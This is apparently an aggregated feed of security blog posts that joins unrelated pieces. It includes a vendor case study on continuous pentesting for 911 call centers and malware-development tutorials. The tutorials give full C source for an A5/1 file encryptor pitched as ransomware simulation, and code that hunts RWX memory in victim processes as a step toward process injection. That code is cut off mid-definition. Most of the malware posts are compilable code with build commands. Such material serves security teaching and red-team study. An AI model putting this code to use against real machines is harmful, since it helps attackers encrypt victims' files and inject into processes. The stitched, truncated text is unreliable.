Enhancing Cybersecurity Through Collaborative Risk Management
The post Enhancing Cybersecurity Through Collaborative Risk Management appeared first on Horizon3.ai.
VSA Top Innovation Award 2024
The post VSA Top Innovation Award 2024 appeared first on Horizon3.ai.
VSA Channel Program of the Year 2024
The post VSA Channel Program of the Year 2024 appeared first on Horizon3.ai.
ο·½
Hello, cybersecurity enthusiasts and white hackers!
Alhamdulillah, Iβm pleased to announce that my book Malware Development For Ethical Hackers is available for pre-order on Amazon.
I dedicate this book to my wife, Laura, my son, Yerzhan, and my little princess, Munira, and I thank them for their inspiration, support, and patience.
I know that many of my readers have been waiting for this book for a long time, and many of us understand that perhaps I could not give comprehensive and exhaustive information on how to develop malware, but I am trying to my best for sharing my knowledge with community.
If you want to learn more about any area of science or technology, you will have to do your own research and work. There isnβt a single book that will answer all of your questions about the things that interest you.
I would be glad to receive feedback and am ready for dialogue. There will be many posts about the book in the near future as it is about to be published.
I thank the entire team at Packt without whom this book would look different.
I also want to thank all the employees of the Butterfly Effect Company and MSSP Research Lab.
I will be very happy if this book helps at least one person to gain knowledge and learn the science of cybersecurity. The book is mostly practice oriented.
Malware Development For Ethical Hackers
Twitter post
Linkedin post
All examples are practical cases for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
ο·½
Hello, cybersecurity enthusiasts and white hackers!
In one of the previous posts I wrote about the A5/1 GSM encryption algorithm and how it affected the VirusTotal detection score.
At the moment of my current research on ransomware simulation, I decided to show file encryption and decryption logic using the A5/1 algorithm.
First of all, our encryption and decryption functions are the same:
void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
// initialization
unsigned int R1 = 0, R2 = 0, R3 = 0;
for (int i = 0; i < 64; i++) {
int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
R1 = (R1 << 1) | feedback;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
// encryption
for (int i = 0; i < msg_len; i++) {
int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
unsigned char key_byte = 0;
for (int j = 0; j < 8; j++) {
int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
key_byte |= bit << j;
R1 = (R1 << 1) | bit;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
out[i] = msg[i] ^ key_byte;
}
}
void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
// initialization
unsigned int R1 = 0, R2 = 0, R3 = 0;
for (int i = 0; i < 64; i++) {
int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
R1 = (R1 << 1) | feedback;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
// decryption
for (int i = 0; i < cipher_len; i++) {
int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
unsigned char key_byte = 0;
for (int j = 0; j < 8; j++) {
int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
key_byte |= bit << j;
R1 = (R1 << 1) | bit;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
out[i] = cipher[i] ^ key_byte;
}
}
The next piece of code implemented file encryption and decryption logic via previous functions:
void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
printf("error opening file.\n");
return;
}
LARGE_INTEGER fileSize;
GetFileSizeEx(ifh, &fileSize);
unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
DWORD bytesRead;
ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);
unsigned char keyData[A51_KEY_SIZE];
memcpy(keyData, key, A51_KEY_SIZE);
// calculate the padding size
size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;
// pad the file data
size_t paddedSize = fileSize.LowPart + paddingSize;
unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
memcpy(paddedData, fileData, fileSize.LowPart);
memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);
// encrypt the padded data
for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
}
// write the encrypted data to the output file
DWORD bw;
WriteFile(ofh, paddedData, paddedSize, &bw, NULL);
printf("a5/1 encryption successful\n");
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
free(paddedData);
}
void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
printf("error opening file.\n");
return;
}
LARGE_INTEGER fileSize;
GetFileSizeEx(ifh, &fileSize);
unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
DWORD bytesRead;
ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);
unsigned char keyData[A51_KEY_SIZE];
memcpy(keyData, key, A51_KEY_SIZE);
// decrypt the file data using A5/1 encryption
for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
}
// calculate the padding size
size_t paddingSize = fileData[fileSize.LowPart - 1];
// validate and remove padding
if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
size_t originalSize = fileSize.LowPart - paddingSize;
unsigned char* originalData = (unsigned char*)malloc(originalSize);
memcpy(originalData, fileData, originalSize);
// write the decrypted data to the output file
DWORD bw;
WriteFile(ofh, originalData, originalSize, &bw, NULL);
printf("a5/1 decryption successful\n");
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
free(originalData);
} else {
// invalid padding size, print an error message or handle it accordingly
printf("invalid padding size: %d\n", paddingSize);
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
}
}
As you can see, it operates on the data in blocks of A51_BLOCK_SIZE (8)
bytes and in case when file size is not a multiple of 8, just add padding logic for encrypted and decrypted data:
void add_padding(HANDLE fh) {
LARGE_INTEGER fs;
GetFileSizeEx(fh, &fs);
size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
if (paddingS != A51_BLOCK_SIZE) {
SetFilePointer(fh, 0, NULL, FILE_END);
for (size_t i = 0; i < paddingS; ++i) {
char paddingB = static_cast<char>(paddingS);
WriteFile(fh, &paddingB, 1, NULL, NULL);
}
}
}
void remove_padding(HANDLE fileHandle) {
LARGE_INTEGER fileSize;
GetFileSizeEx(fileHandle, &fileSize);
// determine the padding size
DWORD paddingSize;
SetFilePointer(fileHandle, -1, NULL, FILE_END);
ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);
// validate and remove padding
if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
// seek back to the beginning of the padding
SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);
// read and validate the entire padding
BYTE* padding = (BYTE*)malloc(paddingSize);
DWORD bytesRead;
if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
// check if the padding bytes are valid
for (size_t i = 0; i < paddingSize; ++i) {
if (padding[i] != static_cast<char>(paddingSize)) {
// invalid padding, print an error message or handle it accordingly
printf("invalid padding found in the file.\n");
free(padding);
return;
}
}
// truncate the file at the position of the last complete block
SetEndOfFile(fileHandle);
} else {
// error reading the padding bytes, print an error message or handle it accordingly
printf("error reading padding bytes from the file.\n");
}
free(padding);
} else {
// invalid padding size, print an error message or handle it accordingly
printf("invalid padding size: %d\n", paddingSize);
}
}
The full source code is looks like this hack.c
:
/*
* hack.c
* encrypt/decrypt file via GSM A5/1 algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/12/malware-cryptography-27.html
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))
#define A51_BLOCK_SIZE 8
#define A51_KEY_SIZE 8
void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
// initialization
unsigned int R1 = 0, R2 = 0, R3 = 0;
for (int i = 0; i < 64; i++) {
int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
R1 = (R1 << 1) | feedback;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
// encryption
for (int i = 0; i < msg_len; i++) {
int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
unsigned char key_byte = 0;
for (int j = 0; j < 8; j++) {
int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
key_byte |= bit << j;
R1 = (R1 << 1) | bit;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
out[i] = msg[i] ^ key_byte;
}
}
void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
// initialization
unsigned int R1 = 0, R2 = 0, R3 = 0;
for (int i = 0; i < 64; i++) {
int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
R1 = (R1 << 1) | feedback;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
// decryption
for (int i = 0; i < cipher_len; i++) {
int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
unsigned char key_byte = 0;
for (int j = 0; j < 8; j++) {
int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
key_byte |= bit << j;
R1 = (R1 << 1) | bit;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
out[i] = cipher[i] ^ key_byte;
}
}
void add_padding(HANDLE fh) {
LARGE_INTEGER fs;
GetFileSizeEx(fh, &fs);
size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
if (paddingS != A51_BLOCK_SIZE) {
SetFilePointer(fh, 0, NULL, FILE_END);
for (size_t i = 0; i < paddingS; ++i) {
char paddingB = static_cast<char>(paddingS);
WriteFile(fh, &paddingB, 1, NULL, NULL);
}
}
}
void remove_padding(HANDLE fileHandle) {
LARGE_INTEGER fileSize;
GetFileSizeEx(fileHandle, &fileSize);
// determine the padding size
DWORD paddingSize;
SetFilePointer(fileHandle, -1, NULL, FILE_END);
ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);
// validate and remove padding
if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
// seek back to the beginning of the padding
SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);
// read and validate the entire padding
BYTE* padding = (BYTE*)malloc(paddingSize);
DWORD bytesRead;
if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
// check if the padding bytes are valid
for (size_t i = 0; i < paddingSize; ++i) {
if (padding[i] != static_cast<char>(paddingSize)) {
// invalid padding, print an error message or handle it accordingly
printf("invalid padding found in the file.\n");
free(padding);
return;
}
}
// truncate the file at the position of the last complete block
SetEndOfFile(fileHandle);
} else {
// error reading the padding bytes, print an error message or handle it accordingly
printf("error reading padding bytes from the file.\n");
}
free(padding);
} else {
// invalid padding size, print an error message or handle it accordingly
printf("invalid padding size: %d\n", paddingSize);
}
}
void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
printf("error opening file.\n");
return;
}
LARGE_INTEGER fileSize;
GetFileSizeEx(ifh, &fileSize);
unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
DWORD bytesRead;
ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);
unsigned char keyData[A51_KEY_SIZE];
memcpy(keyData, key, A51_KEY_SIZE);
// calculate the padding size
size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;
// pad the file data
size_t paddedSize = fileSize.LowPart + paddingSize;
unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
memcpy(paddedData, fileData, fileSize.LowPart);
memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);
// encrypt the padded data
for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
}
// write the encrypted data to the output file
DWORD bw;
WriteFile(ofh, paddedData, paddedSize, &bw, NULL);
printf("a5/1 encryption successful\n");
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
free(paddedData);
}
void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
printf("error opening file.\n");
return;
}
LARGE_INTEGER fileSize;
GetFileSizeEx(ifh, &fileSize);
unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
DWORD bytesRead;
ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);
unsigned char keyData[A51_KEY_SIZE];
memcpy(keyData, key, A51_KEY_SIZE);
// decrypt the file data using A5/1 encryption
for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
}
// calculate the padding size
size_t paddingSize = fileData[fileSize.LowPart - 1];
// validate and remove padding
if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
size_t originalSize = fileSize.LowPart - paddingSize;
unsigned char* originalData = (unsigned char*)malloc(originalSize);
memcpy(originalData, fileData, originalSize);
// write the decrypted data to the output file
DWORD bw;
WriteFile(ofh, originalData, originalSize, &bw, NULL);
printf("a5/1 decryption successful\n");
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
free(originalData);
} else {
// invalid padding size, print an error message or handle it accordingly
printf("invalid padding size: %d\n", paddingSize);
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
}
}
int main() {
const char* inputFile = "Z:\\test.txt";
const char* outputFile = "Z:\\test.txt.a51";
const char* decryptedFile = "Z:\\test.txt.a51.decrypted";
const char* key = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
encrypt_file(inputFile, outputFile, key);
decrypt_file(outputFile, decryptedFile, key);
return 0;
}
As you can see, as usual, for test I just encrypt file test.txt
and decrypt it.
cat test.txt
Letβs see everything in action, compile our PoC code:
x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
and letβs say we have a test.txt
file in the Z:\\
path on the victimβs machine:
hexdump -C test.txt
Then just run our application on Windows 11 x64 machine:
.\hack.exe
Letβs check a decrypted and original files, for example via hexdump
command:
hexdump -C test.txt.a51.decrypted
As you can see our simple PoC is worked perfectly.
I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal and useful for adversary (ransomware) sumulation purposes.
A5/1
Malware AV/VM evasion part 14
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
Cybersecurity is paramount for the public safety sector as it safeguards critical infrastructure, sensitive data, and communication systems vital for emergency response, law enforcement, and national security. In an increasingly interconnected world, where digital technologies infiltrate every aspect of society, vulnerabilities in these systems can be exploited by malicious actors to disrupt emergency services, compromise sensitive information, or even endanger lives. A robust cybersecurity posture not only protects against potential cyber threats and attacks but also ensures the confidentiality, integrity, and availability (CIA) of essential services, thereby upholding resilience of public safety systems.
Specifically, 911 call centers, also known as Public Safety Answering Points (PSAPs), frequently draw the attention of cyber threat actors because of their pivotal function in emergency response, making them attractive targets for disruption and ransomware attacks capable of incapacitating essential services. Additionally, the sensitive information stored within PSAP networks and systems, including Personal Identifiable Information (PII) and Personal Health Information (PHI), present lucrative opportunities for data theft and exploitation.
To make a big impact worldwide in thwarting ransomware and other cyberattacks by making sophisticated cyber defense solutions with human supervision affordable to organizations worldwide.
In May 2023, a ransomware attack targeted the city of Dallas by the Royal Ransomware gang, leading to the shutdown of court systems and disruptions in 911 emergency services. The attack affected various city services, including the police departmentβs ability to access certain databases. The outage has also impacted Computer Aided Dispatch (CAD) systems, which are used by dispatchers and 911 operators to prioritize and record incident calls. While city officials assured that emergency calls were still being answered, the incident highlighted the significant impact cyberattacks can have on critical infrastructure and essential services.
In a recent interview with Brian Beckwith, Chief Technology Officer (CTO) at Intuitus, he explained that Intuitus βdeals primarily in helping 911 call centers (PSAPs), and who those call centers support, to make sure their environments are secure.β Intuitus, a full-service cybersecurity and consulting solution with a 24/7 Security Operations Center (SOC), is the leading voice in cybersecurity for 911/NG911 PSAP organizations worldwide. Additionally, they participate in industry organizations such as National Emergency Number Association (NENA), Association of Public-Safety Communications Officials (APCO) international, and other 911/NG911 PSAP community members.
βWhen there is a cyberattack on a PSAP, there is the potential for loss of life due to the caller not being able to get through to the 911 call center. Our job is to prevent that situation. We specialize in knowing the cyber threat actorβs tactics, techniques, and procedures (TTPs) so we can protect organizations from those things.β
βWith legacy 911 systems, moving to a more IP-based solution is opening up a new world for 911,β explains Brian. So, rewriting and iterating on NG911 cybersecurity regulations, policies, and guidelines is key to keeping pace with the evolving cyber threats and fortify cybersecurity defenses. According to CISA, βthe 911 system requires stable, safe, and resilient communicationsβ and pointed to two things that all PSAPs should do to improve their overall cybersecurity:
Cybersecurity risk assessments are crucial for PSAPs because they help identify potential vulnerabilities and weaknesses within their systems proactively, allowing them to prioritize resources and implement effective security measures to mitigate risks. Additionally, having robust cyber incident response and vulnerability response plans is essential, as they enable PSAPs security teams to respond swiftly and effectively to cyberattacks. Intuitus also offers its customers SOC as a Service with Managed Detection & Response (MDR) as a fully self-contained solution that can be rapidly deployed into the existing infrastructure.
In the context of cybersecurity risks assessments, we at Horizon3.ai have seen our customers implement a regular cadence of penetration (aka βpenβ) testing to ensure that they are continuously assessing their infrastructure to stay ahead of cyber threats. In general, most facets of the public safety sector have yearly cyber risk assessment requirements. However, this infrequent assessment schedule means that any new threats introduced after the assessment wonβt be identified or mitigated promptly, leaving the organization exposed to potential breaches or attacks.
βMost PSAPs only conduct a once-a-year pentest, and donβt do pentesting all the time.β
Further, changes in the organizationβs IT infrastructure, software updates, and the introduction of new technologies can also introduce new vulnerabilities that would remain unaddressed until the next annual assessment, further increasing the risk of cyber incidents.
With the increased focus on ensuring PSAPs are following national and international cybersecurity regulations, policies, and guidelines, as well as conducting cyber risk assessments yearly, Brian needed to find a solution that could increase Intuitusβ pentesting footprint and blast radius. He also wanted something that was easy to use, straightforward, and required less training time to learn. Moreover, he wanted something that could βenable digestible conversations withβ¦customers and simplify what security measures must be taken to mitigate vulnerabilities in their environment quickly.β With Intuitus expanding not only in the U.S. but internationally, they needed a tool that could enable them to keep pace with their growing demand for continuous pentesting.
After testing a few competitors that offer similar functionality and capabilities as NodeZero, Brian mentions that the tools βjust didnβt do it right, not the way NodeZero does.β What we often find is that other βpentesting toolsβ canβt do what NodeZero does, and sometimes involve on-prem solutions that are complex and require additional training for in-house pentesters. Brian can use NodeZero right away, without needing to train his pentesters or attend lengthy instruction on how to run a pentest, use 1-Click Verify, or read reports. Additionally, this ease of use allows Brian and his team to foster better relationships with his customers because the reports are not overly complicated, yet they provide detail and give actionable guidance for even the novice user.
βNodeZero enables me to have a relationship with a customer that I wouldnβt have otherwise had without the toolβ
As with almost all sectors and industries worldwide, when it comes to cybersecurity compliance, there is always a regulation or policy to comply with to meet minimum operating standards. According to Brian, βmost of our pentests are performed because of some compliance regulation that needs to happen or that our customer must comply with.β Intuitus customers often require an audit with proof of a pentest and mitigation results to meet compliance requirements.
Auditors require pentests for compliance reasons to verify that an organizationβs cybersecurity defenses are robust and effective against cyber threats, ensuring adherence to industry standards and regulatory requirements. Pentesting provides concrete evidence of security posture and readiness, helping organizations demonstrate due diligence in protecting sensitive data and systems. βOne of our supply chain customers needed a pentest, and we told them that we can easily do that so they could meet the newly established [at that time] supply chain compliance standards,β Brian shared β another example of how NodeZero is enabling Intuitus to meet nearly all of their customers cybersecurity needs/requirements.
β100% of our [Intuitus] pentesting business weβre doing today; we would not be doing if we didnβt have NodeZeroβ¦ Horizon3.ai has given us 20% more capability than any other tool we have used or demoβd. We have added many more customers to our business because we offer pentesting services.β
By partnering with Horizon3.ai, Intuitus uses NodeZero as a force multiplier. Brian wanted to implement and offer in-house pentesting to ensure Intuitus is seen as a βtrusted advisor, helping us continue to grow and maintain our full service offering to customers.β Additionally, Intuitusβ pivotal role within the public safety space ensures PSAPs are meeting and exceeding compliance standards, while also enabling them to stay ahead of threats and hardened against constantly evolving threats.
The post Advancing Emergency Response Security with Autonomous Pentesting appeared first on Horizon3.ai.
ο·½
Hello, cybersecurity enthusiasts and white hackers!
In one of my previous posts, I described a process injection method using RWX-memory searching logic. Today, I will apply the same logic, but with a new trick.
As you remember, the method is simple: we enumerate the presently running target processes on the victimβs system, scan through their allocated memory blocks to see if any are protected with RWX, and then write our payload to this memory block.
Today I will use a little bit different trick. Letβs say we are search specific process in the victimβs machine (for injection or for something else).
Letβs go to use a separate function for hunting RWX-memory region from the victim process, something like this:
int findRWX(HANDLE h) {
MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;
// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
}
return 0;
}
Also a little bit update for our main logic: first of all, we are search specific processβ handle by itβs name:
typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
int findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function address
fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}
return current;
}
As you can see, we use NtGetNextProcess
API for enumerating processes.
So the final source code is looks like this (hack.c
):
/*
* hack.c - hunting RWX memory
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
int findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function address
fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}
return current;
}
int findRWX(HANDLE h) {
MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;
// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
}
return 0;
}
int main(int argc, char* argv[]) {
char procNameTemp[MAX_PATH];
HANDLE h = NULL;
int pid = 0;
h = findMyProc(argv[1]);
if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
pid = GetProcessId(h);
printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
findRWX(h);
CloseHandle(h);
return 0;
}
Letβs go to see everything in action. Compile our malware source code:
x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -w -lpsapi -lshlwapi
And run it at the victimβs machine (Windows 11 x64
in my case):
Try on another target process, for example OneDrive.exe
:
Our logic is worked, RWX-memory successfully founded!
As you can see, everything is worked perfectly! =^..^=
But there are the caveats. Sometimes we need to know is this process is .NET
process or Java or something else (is it really OneDrive.exe
process)?
For .NET
process we need interesting trick, if we open powershell.exe
via Process Hacker 2:
As you can see, in the Handles
tab we can find interesting section with name \BaseNamedObjects\Cor_Private_IPCBlock_v4_<PID>"
in our case PID = 3156
, so our string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156
.
So, letβs update our function findMyProc
, like this:
HANDLE findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function addresses
fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
pid = GetProcessId(current);
// Check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
UNICODE_STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;
WCHAR procNumber[32];
WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
sName.Buffer = (PWSTR) malloc(500);
// convert INT to WCHAR
swprintf_s(procNumber, L"%d", pid);
// and fill out UNICODE_STRING structure
ZeroMemory(sName.Buffer, 500);
memcpy(sName.Buffer, objPath, wcslen(objPath) * 2); // add section name "prefix"
StringCchCatW(sName.Buffer, 500, procNumber); // and append with process ID
sName.Length = wcslen(sName.Buffer) * 2; // finally, adjust the string size
sName.MaximumLength = sName.Length + 1;
InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}
return current;
}
Just convert process id int to UNICODE STRING and concat, then try to find section logic.
Here, NtOpenSection
API use for opens a handle for an existing section object:
typedef NTSTATUS (NTAPI * fNtOpenSection)(
PHANDLE SectionHandle,
